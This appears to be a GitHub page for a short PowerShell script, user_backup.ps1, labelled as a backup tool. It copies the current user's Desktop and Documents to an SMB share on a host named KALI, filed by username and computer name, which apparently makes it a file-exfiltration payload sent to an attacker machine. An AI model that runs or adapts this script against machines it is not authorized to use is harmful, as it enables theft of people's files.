-
Notifications
You must be signed in to change notification settings - Fork 0
/
user_backup.ps1
38 lines (30 loc) · 1.31 KB
/
user_backup.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Define the SMB share path (change this to your SMB share location)
$smbSharePath = "\\KALI\Backup"
# Get the current username and computer name
$username = $env:USERNAME
$computerName = $env:COMPUTERNAME
# Create a folder on the SMB share named "username_pcname"
$targetFolder = Join-Path $smbSharePath "$username`_$computerName"
# Check if the SMB share is reachable
if (!(Test-Path -Path $smbSharePath)) {
Write-Host "SMB share not accessible. Check the network path."
exit
}
# Create the folder if it doesn't exist
if (!(Test-Path -Path $targetFolder)) {
New-Item -Path $targetFolder -ItemType Directory
}
# Define source directories
$desktopPath = [System.IO.Path]::Combine($env:USERPROFILE, "Desktop")
$documentsPath = [System.IO.Path]::Combine($env:USERPROFILE, "Documents")
# Copy files from Desktop to the SMB share
if (Test-Path -Path $desktopPath) {
Write-Host "Copying Desktop files..."
Copy-Item -Path "$desktopPath\*" -Destination $targetFolder -Recurse -Force -ErrorAction SilentlyContinue
}
# Copy files from Documents to the SMB share
if (Test-Path -Path $documentsPath) {
Write-Host "Copying Documents files..."
Copy-Item -Path "$documentsPath\*" -Destination $targetFolder -Recurse -Force -ErrorAction SilentlyContinue
}
Write-Host "Backup completed successfully to $targetFolder"